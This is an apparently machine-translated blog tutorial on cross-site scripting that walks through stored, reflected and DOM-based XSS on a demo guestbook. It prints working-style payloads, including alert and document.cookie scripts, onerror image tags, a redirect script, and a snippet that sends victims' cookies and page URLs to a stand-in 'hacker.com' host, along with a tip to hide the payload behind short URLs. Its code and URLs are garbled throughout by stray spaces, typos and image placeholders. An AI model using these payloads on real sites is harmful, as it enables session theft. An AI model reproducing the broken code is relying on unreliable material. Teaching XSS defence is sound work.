Web application security-cross-site scripting attack (XSS) (1)

1Cross-site scripting attack (XSS)

1.1 Introduction

XSS: Cross Site Scripting is not to be confused with the abbreviation of Cascading Style Sheets (CSS), so the cross-site scripting attack is abbreviated as XSS. Malicious attackers insert malicious Script code into the
Web page. When the user browses the page At this time, the Script code embedded in the Web will be executed, thereby achieving the purpose of maliciously attacking the user.
In the beginning, the demonstration case of this attack was cross-domain, so it was called "cross-site scripting".
But today, the powerful functions superior to JavaScript are based on the complexity of website front-end applications, and it is no longer important whether it is cross-domain. However, due to historical reasons, the name XSS has been retained.
XSS has long been ranked as the number one enemy in client-side web security. Because XSS is so destructive and the resulting scenarios are complex, it is difficult to solve at once.
The current consensus in the industry is that XSS generated in various scenarios needs to be treated differently.
Attack principle:
The principle of XSS is that the WEB application confuses the code boundary between the data submitted by the user and the IS script, causing the browser to execute the user's input as JS code.
XSS attack demonstration:
(1) Insert message information through the page

<body>
	<form action="/1m/add" method="post">
		<input name-="content"/>
		<input type="submit" value="留言"/>
	</form>
</body>

Insert image description here

(2)Page display

<body>
	<table>
		<thead>
			<th>序号</th>
			<th>留言</th>
			<th>时间</th>
			</thead>
			<tbody>
			<tr th:each="1m,stat:${list}">
			<td th:text="${1m['id']}"> </td>
			<td th:utext="${1m['content']}"> </td>
			<td th:text="${1m[" date']}"> </td>
			</tr>
		</tbody>
	</table>
</body>

Insert image description here
(3) Test (alert can pop up private information: Cookie, session and other information)

Normal (website message input content):
There is bright moonlight in front of the window, I am Guo Degang

Malicious script implantation:

<!--恶意脚本植入-->
<script>alert('heylyou are attacked'); </script>

Insert image description here
A pop-up window will appear when the list page is refreshed:
Insert image description here
alert('heylyou are attacked');
Insert image description here

Hijack traffic to achieve malicious redirection:

<!-劫持流量实现恶意跳转-->
<script>window. location. href=' http: //www. baidu. com' </script>
<img src="a. jpg" onerror="alert(' Attack')"/>

Insert image description here
Click to enter the list page to refresh (it will jump to the Baidu page):
Insert image description here

<img src="a. jpg" onerror="alert(' Attack')"/>

Insert image description here
pop up:
Insert image description here

The root cause of XSS attacks: the principle of separation of data and code. What
you expect to input is data, but what the attacker actually inputs is code.

Defense methods:
Input: verification, escaping
Output: escaping, filtering

1.2 XSS attack

●Stored XSS (stored in the database, long-term effectiveness - persistence,)
●Reflected XSS (non-persistent)
●DOM-type XSS (non-persistent)

1. Stored XSS

Stored XSS, also known as persistent XSS. The information uploaded by the attacker and containing malicious S scripts is saved to the database by the Web application. If the Web application contains the malicious JS script when generating a new page, this will cause all browsers that access the web page to parse and execute the script. Malicious script. This type of attack is commonly seen in blogs, forums and other websites.

  • Stored type is the most dangerous type of cross-site scripting, which is more hidden than reflective XSS and Dom type XSS.
  • Because it does not require the user to manually trigger it, any web program that allows users to store data may have a stored XSS vulnerability.
  • If a page suffers a stored XSS attack, all users who visit the page will be attacked by XSS.
    Insert image description here
    Attack steps:
    1. The attacker submits the malicious code to the database of the target website.
    2. The user opens the target website, and the website server takes out the malicious code from the database, splices it into HTML and returns it to the user.
    3. The user's browser receives the response. Parse and execute, and the malicious code mixed in it is also executed.
    4. The malicious code steals the user's sensitive data and sends it to the attacker, or impersonates the user's behavior and calls the target website interface to perform the operation specified by the attacker. Stored
    XSS (also known as persistence) XSS) attacks are common in website functions with user-saved data, such as forum postings, product reviews, user private messages, messages, etc.
(1) Simple attack:
<script>alert('he1lo' );</script> 
(2) Get cookie information:
<script>alert(document . cookie)</script>

Insert image description here
Insert image description here
This important information can be sent directly to the hacker (user credential information such as cookies and sessions). The hacker can use this information to log in directly without entering user name, password and other information.

(3) Hackers steal cookies:

process:
Insert image description here

When users steal cookies, the specific implementation is to send the user's cookie value to the hacker toolbox, then the js that steals the user's cookie needs to be implanted into the system. Considering that the js script that steals users is too long, it is not suitable to directly write scripts for implantation. It can be achieved through external scripts. To skip the length limit of the user form input box, consider using short connections.
Short URL generation: http://tool.chinaz.com/tools/dwz.aspx

Insert image description here

<script src="http: //www. hacker . com/script/hacker. js"></script>
<script src="https: //4m. cn/a16oe"></script>

窃取失败:
Access to XMLHttpRequest at‘xxxxx’ from origin tp:/www.edu.com’ has been blocked by CORS policy: No ‘Access-Control-Allow-Origin’ header is present
on the requested resource.

(4) Bypass the browser’s same-origin policy:

Images can be loaded from external data sources

(function () {
    
    
(new ImageO)).src = http://ww. hacker. com/h?c='rt
escape("ur1=" + document. location. href) +
escape(' &cookie=' + document. cookie);
})();
<script src="http://www. hacker . com/script/hacker2. js"></script>

Visit the Hacker Toolbox: http://www.hacker.com/g

(5) Intrusion through cookies

Insert image description here
Insert image description here

Insert image description here

2. Reflected XSS

Reflected XSS, also known as non-persistent XSS, the malicious code is not stored on the target website, but carries out the attack by luring the user to click on a malicious link. What are the characteristics of this type of malicious link?
Mainly include:
●Malicious script is attached to the URL, and only clicking on this link will cause an attack
●It is not persistent, that is, as long as it is not accessed through this specific URL, there will be no problem
●XSS Vulnerabilities generally occur where users interact.
Demo link: http://www.edu.com/reflecxss?reflectxss=
Insert image description here
Insert image description here
Insert image description here

(1)Normal processing
http: //www. edu. com/reflectxss?reflectxss=hello
(2)Script intrusion
http: /www. edu. com/reflectxss?reflectxss-<script>alert('hello )</script>
(3)Get cookies
<!--如果已经登录-->
http: //www. edu. com/reflectxss?reflectxss=<script>alert(document . cookie)</script>
(4)Construct DOM
http: /www. edu. com/reflectxss?reflectxss=<input type="button" value="登录"/>

Insert image description here

3. DOM type XSS

DOM (Document Object Model), DOM-type XSS is actually a special type of reflected XSS (not stored). It is a vulnerability based on the DOM document object model and does not require interaction with the server (no processing).
Client The script program on the client can dynamically modify the page content through the DOM, obtain the data in the DOM from the client and execute it locally. Based on this feature, JS scripts can be used to exploit XSS vulnerabilities.
Demo link: http://www.edu.com/domxss.html?domxsseparamvalue
Insert image description here

(1)Normal processing
http: //www. edu. com/ domxss . html?domxss=helloworld

Insert image description here

(2) Script intrusion, attempted
http://www. edu. com/domxss . html?domxss=<script>alert( 'lagou')</scripty>

Insert image description here

The IS code obtained using innerHTML cannot be executed. JS is only valid when the page is first loaded.

(3)Construct DOM
http: //www. edu. com/ domxss。htm1 ?domxss=<input type= "button" value="登录"/>

Insert image description here

(4)Construct DOM
http://www. edu. com/ domxss . htm1?domxss=<input type="button" value= ”登录" onClick="alert(document . cookie)"/>
(5)Use img tag
http: /www. edu. com/ domxss . html?domxss=<img src= 'http: /www. hacker . com/attack. jpg' onerror=' alert(110)'/>

If the map cannot be loaded, the onerror method will be executed.
Insert image description here

Guess you like

Origin blog.csdn.net/qq_31686241/article/details/125707092